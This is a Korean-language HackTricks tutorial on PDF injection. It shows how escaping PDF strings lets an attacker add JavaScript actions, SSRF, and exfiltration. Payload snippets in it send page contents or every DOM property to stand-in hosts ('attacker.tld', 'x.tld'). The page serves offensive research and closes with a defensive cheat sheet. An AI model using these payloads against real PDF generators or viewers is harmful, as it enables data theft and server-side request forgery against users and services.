PDF Injection

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

PDF ํŒŒ์ผ ๋‚ด์—์„œ ์ž…๋ ฅ์ด ๋ฐ˜์˜๋˜๋Š” ๊ฒฝ์šฐ, JavaScript๋ฅผ ์‹คํ–‰ํ•˜๊ฑฐ๋‚˜ SSRF๋ฅผ ์ˆ˜ํ–‰ํ•˜๊ฑฐ๋‚˜ PDF ์ฝ˜ํ…์ธ ๋ฅผ ํ›”์น˜๊ธฐ ์œ„ํ•ด PDF ๋ฐ์ดํ„ฐ๋ฅผ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. PDF ๊ตฌ๋ฌธ์€ ๋งค์šฐ ๊ด€๋Œ€ํ•ฉ๋‹ˆ๋‹ค โ€“ ์ž…๋ ฅ์„ ํฌํ•จํ•˜๋Š” ๋ฌธ์ž์—ด์ด๋‚˜ ์‚ฌ์ „์—์„œ ๋ฒ—์–ด๋‚  ์ˆ˜ ์žˆ๋‹ค๋ฉด, Acrobat/Chrome์ด ๊ธฐ๊บผ์ด ๊ตฌ๋ฌธ ๋ถ„์„ํ•  ์ƒˆ๋กœ์šด ๊ฐ์ฒด(๋˜๋Š” ๋™์ผํ•œ ๊ฐ์ฒด์˜ ์ƒˆ๋กœ์šด ํ‚ค)๋ฅผ ์ถ”๊ฐ€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. 2024๋…„๋ถ€ํ„ฐ ๋ฒ„๊ทธ ๋ฐ”์šดํ‹ฐ ๋ณด๊ณ ์„œ์˜ ๋ฌผ๊ฒฐ์ด ํ•˜๋‚˜์˜ ์ด์Šค์ผ€์ดํ”„๋˜์ง€ ์•Š์€ ๊ด„ํ˜ธ๋‚˜ ๋ฐฑ์Šฌ๋ž˜์‹œ๋กœ๋„ ์ „์ฒด ์Šคํฌ๋ฆฝํŠธ ์‹คํ–‰์ด ๊ฐ€๋Šฅํ•˜๋‹ค๋Š” ๊ฒƒ์„ ๋ณด์—ฌ์ฃผ์—ˆ์Šต๋‹ˆ๋‹ค.

TL;DR โ€“ ํ˜„๋Œ€ ๊ณต๊ฒฉ ์›Œํฌํ”Œ๋กœ์šฐ (2024)

  1. ์ƒ์„ฑ๋œ PDF์˜ (๊ด„ํ˜ธ ๋ฌธ์ž์—ด), /URI ( โ€ฆ ) ๋˜๋Š” /JS ( โ€ฆ ) ํ•„๋“œ ๋‚ด์— ์œ„์น˜ํ•˜๋Š” ์‚ฌ์šฉ์ž ์ œ์–ด ๊ฐ’ ์ฐพ๊ธฐ.
  2. ) (๋ฌธ์ž์—ด ๋‹ซ๊ธฐ) ๋‹ค์Œ์— ์•„๋ž˜์˜ ์›์‹œ ์ค‘ ํ•˜๋‚˜๋ฅผ ์ฃผ์ž…ํ•˜๊ณ  ๊ตฌ๋ฌธ์„ ์œ ํšจํ•˜๊ฒŒ ์œ ์ง€ํ•˜๊ธฐ ์œ„ํ•ด ๋˜ ๋‹ค๋ฅธ ์—ฌ๋Š” ๊ด„ํ˜ธ๋กœ ๋งˆ๋ฌด๋ฆฌํ•ฉ๋‹ˆ๋‹ค.
  3. ์•…์„ฑ PDF๋ฅผ ํ”ผํ•ด์ž์—๊ฒŒ ์ „๋‹ฌํ•˜๊ฑฐ๋‚˜(๋˜๋Š” ํŒŒ์ผ์„ ์ž๋™์œผ๋กœ ๋ Œ๋”๋งํ•˜๋Š” ๋ฐฑ์—”๋“œ ์„œ๋น„์Šค์— ์ „๋‹ฌ โ€“ ๋ธ”๋ผ์ธ๋“œ ๋ฒ„๊ทธ์— ์œ ์šฉ).
  4. PDF ๋ทฐ์–ด์—์„œ ํŽ˜์ด๋กœ๋“œ๊ฐ€ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค:
  • Chrome / Edge โ†’ PDFium Sandbox
  • Firefox โ†’ PDF.js (CVE-2024-4367 ์ฐธ์กฐ)
  • Acrobat โ†’ ์ „์ฒด JavaScript API (์ž„์˜ ํŒŒ์ผ ๋‚ด์šฉ์„ this.getPageNthWord๋กœ ์œ ์ถœํ•  ์ˆ˜ ์žˆ์Œ)

์˜ˆ์‹œ (์ฃผ์„ ๋งํฌ ํ•˜์ด์žฌํ‚น):

(https://victim.internal/) ) /A << /S /JavaScript /JS (app.alert("PDF pwned")) >> /Next (

์ฒซ ๋ฒˆ์งธ )๋Š” ์›๋ž˜ URI ๋ฌธ์ž์—ด์„ ๋‹ซ๊ณ , ์‚ฌ์šฉ์ž๊ฐ€ ๋งํฌ๋ฅผ ํด๋ฆญํ•  ๋•Œ Acrobat์ด ์‹คํ–‰ํ•  ์ƒˆ๋กœ์šด Action ์‚ฌ์ „์„ ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค.

์œ ์šฉํ•œ ์ฃผ์ž… ์›์‹œ

๋ชฉํ‘œํŽ˜์ด๋กœ๋“œ ์Šค๋‹ˆํŽซ๋น„๊ณ 
์—ด ๋•Œ JavaScript/OpenAction << /S /JavaScript /JS (app.alert(1)) >>๋ฌธ์„œ๊ฐ€ ์—ด๋ฆด ๋•Œ ์ฆ‰์‹œ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค (Acrobat์—์„œ ์ž‘๋™, Chrome์—์„œ๋Š” ์ž‘๋™ํ•˜์ง€ ์•Š์Œ).
๋งํฌ์—์„œ JavaScript/A << /S /JavaScript /JS (fetch('https://attacker.tld/?c='+this.getPageNumWords(0))) >>/Link ์ฃผ์„์„ ์ œ์–ดํ•  ๊ฒฝ์šฐ PDFium ๋ฐ Acrobat์—์„œ ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค.
๋ธ”๋ผ์ธ๋“œ ๋ฐ์ดํ„ฐ ์œ ์ถœ<< /Type /Action /S /URI /URI (https://attacker.tld/?leak=)JS ๋‚ด์—์„œ this.getPageNthWord์™€ ๊ฒฐํ•ฉํ•˜์—ฌ ์ฝ˜ํ…์ธ ๋ฅผ ํ›”์นฉ๋‹ˆ๋‹ค.
์„œ๋ฒ„ ์ธก SSRF์œ„์™€ ๋™์ผํ•˜์ง€๋งŒ ๋‚ด๋ถ€ URL์„ ํƒ€๊ฒŸ์œผ๋กœ ์„ค์ • โ€“ PDF๊ฐ€ /URI๋ฅผ ์กด์ค‘ํ•˜๋Š” ๋ฐฑ์˜คํ”ผ์Šค ์„œ๋น„์Šค์— ์˜ํ•ด ๋ Œ๋”๋ง๋  ๋•Œ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค.
์ƒˆ ๊ฐ์ฒด๋ฅผ ์œ„ํ•œ ์ค„ ๋ฐ”๊ฟˆ\nendobj\n10 0 obj\n<< /S /JavaScript /JS (app.alert(1)) >>\nendobj๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๊ฐ€ ์ƒˆ ์ค„ ๋ฌธ์ž๋ฅผ ์ฃผ์ž…ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ—ˆ์šฉํ•˜๋ฉด ์™„์ „ํžˆ ์ƒˆ๋กœ์šด ๊ฐ์ฒด๋ฅผ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋ธ”๋ผ์ธ๋“œ ์—ด๊ฑฐ ํŠธ๋ฆญ

Gareth Heyes (PortSwigger)๋Š” ์•Œ ์ˆ˜ ์—†๋Š” ๋ฌธ์„œ ๋‚ด์˜ ๋ชจ๋“  ๊ฐ์ฒด๋ฅผ ์—ด๊ฑฐํ•˜๋Š” ์›๋ผ์ด๋„ˆ๋ฅผ ๋ฐœํ‘œํ–ˆ์Šต๋‹ˆ๋‹ค โ€“ ์ƒ์„ฑ๋œ PDF๋ฅผ ๋ณผ ์ˆ˜ ์—†์„ ๋•Œ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค:

) /JS (for(i in this){try{this.submitForm('https://x.tld?'+i+'='+this[i])}catch(e){}}) /S /JavaScript /A << >> (

์ฝ”๋“œ๋Š” Acrobat DOM์„ ๋ฐ˜๋ณตํ•˜๋ฉฐ ๋ชจ๋“  ์†์„ฑ/๊ฐ’ ์Œ์— ๋Œ€ํ•ด ์™ธ๋ถ€ ์š”์ฒญ์„ ์ˆ˜ํ–‰ํ•˜์—ฌ ํŒŒ์ผ์˜ JSON-ish ๋คํ”„๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์ „์ฒด ๊ธฐ์ˆ ์— ๋Œ€ํ•œ ๋‚ด์šฉ์€ ๋ฐฑ์„œ โ€œPortable Data exFiltrationโ€์„ ์ฐธ์กฐํ•˜์‹ญ์‹œ์˜ค.

์‹ค์ œ ๋ฒ„๊ทธ (2023-2025)

  • CVE-2024-4367 โ€“ Firefox์˜ PDF.js 4.2.67 ์ด์ „์—์„œ ์ž„์˜์˜ JavaScript ์‹คํ–‰์ด ์กฐ์ž‘๋œ /JavaScript ์ž‘์—…์œผ๋กœ ์ƒŒ๋“œ๋ฐ•์Šค๋ฅผ ์šฐํšŒํ–ˆ์Šต๋‹ˆ๋‹ค.
  • ๋ฒ„๊ทธ ๋ฐ”์šดํ‹ฐ 2024-05 โ€“ ์ฃผ์š” ํ•€ํ…Œํฌ๊ฐ€ ๊ณ ๊ฐ ์ œ๊ณต ์†ก์žฅ ๋…ธํŠธ๋ฅผ /URI์— ํ—ˆ์šฉํ–ˆ์œผ๋ฉฐ, file:/// URI๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋‚ด๋ถ€ ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ ํ˜ธ์ŠคํŠธ์— ๋Œ€ํ•œ SSRF๋ฅผ ์‹œ์—ฐํ•œ ํ›„ ๋ณด๊ณ ์„œ์— $10k๊ฐ€ ์ง€๊ธ‰๋˜์—ˆ์Šต๋‹ˆ๋‹ค.
  • CVE-2023-26155 โ€“ ๋น„์ •์ƒ์ ์ธ PDF ๊ฒฝ๋กœ๋ฅผ ํ†ตํ•œ node-qpdf ๋ช…๋ น ์ฃผ์ž…์€ PDF ๋ ˆ์ด์–ด ์ด์ „์— ๋ฐฑ์Šฌ๋ž˜์‹œ์™€ ๊ด„ํ˜ธ๋ฅผ ์ด์Šค์ผ€์ดํ”„ํ•˜๋Š” ๊ฒƒ์˜ ์ค‘์š”์„ฑ์„ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค.

๋ฐฉ์–ด์šฉ ์น˜ํŠธ์‹œํŠธ

  1. ์ ˆ๋Œ€ ์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ (โ€ฆ) ๋ฌธ์ž์—ด์ด๋‚˜ ์ด๋ฆ„์— ์—ฐ๊ฒฐํ•˜์ง€ ๋งˆ์‹ญ์‹œ์˜ค. PDF ์‚ฌ์–‘ ยง7.3์— ๋”ฐ๋ผ ํ•„์š”ํ•œ ๊ฒฝ์šฐ \, (, )๋ฅผ ์ด์Šค์ผ€์ดํ”„ํ•˜๊ฑฐ๋‚˜ 16์ง„์ˆ˜ ๋ฌธ์ž์—ด <...>์„ ์‚ฌ์šฉํ•˜์‹ญ์‹œ์˜ค.
  2. ๋งํฌ๋ฅผ ์ƒ์„ฑํ•  ๊ฒฝ์šฐ, /URI (https://โ€ฆ)๋ฅผ ์„ ํ˜ธํ•˜๋ฉฐ ์™„์ „ํžˆ URL ์ธ์ฝ”๋”ฉํ•˜์‹ญ์‹œ์˜ค; ํด๋ผ์ด์–ธํŠธ ๋ทฐ์–ด์—์„œ javascript: ์Šคํ‚ด์„ ์ฐจ๋‹จํ•˜์‹ญ์‹œ์˜ค.
  3. PDF ํ›„์ฒ˜๋ฆฌ ์‹œ /OpenAction, /AA (์ถ”๊ฐ€ ์ž‘์—…), /Launch, /SubmitForm ๋ฐ /ImportData ์‚ฌ์ „์„ ์ œ๊ฑฐํ•˜๊ฑฐ๋‚˜ ๊ฒ€์ฆํ•˜์‹ญ์‹œ์˜ค.
  4. ์„œ๋ฒ„ ์ธก์—์„œ๋Š” ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” PDF๋ฅผ JavaScript ๋ฐ ์™ธ๋ถ€ ์ž‘์—…์„ ์ œ๊ฑฐํ•˜๋Š” ํ—ค๋“œ๋ฆฌ์Šค ๋ณ€ํ™˜๊ธฐ (์˜ˆ: qpdf โ€“decrypt โ€“linearize)๋กœ ๋ Œ๋”๋งํ•˜์‹ญ์‹œ์˜ค.
  5. PDF ๋ทฐ์–ด๋ฅผ ์ตœ์‹  ์ƒํƒœ๋กœ ์œ ์ง€ํ•˜์‹ญ์‹œ์˜ค; PDF.js < 4.2.67 ๋ฐ 2024๋…„ 7์›” ์ด์ „์˜ Acrobat Reader๋Š” ์‚ฌ์†Œํ•œ ์ฝ”๋“œ ์‹คํ–‰์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค.

์ฐธ๊ณ ๋ฌธํ—Œ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ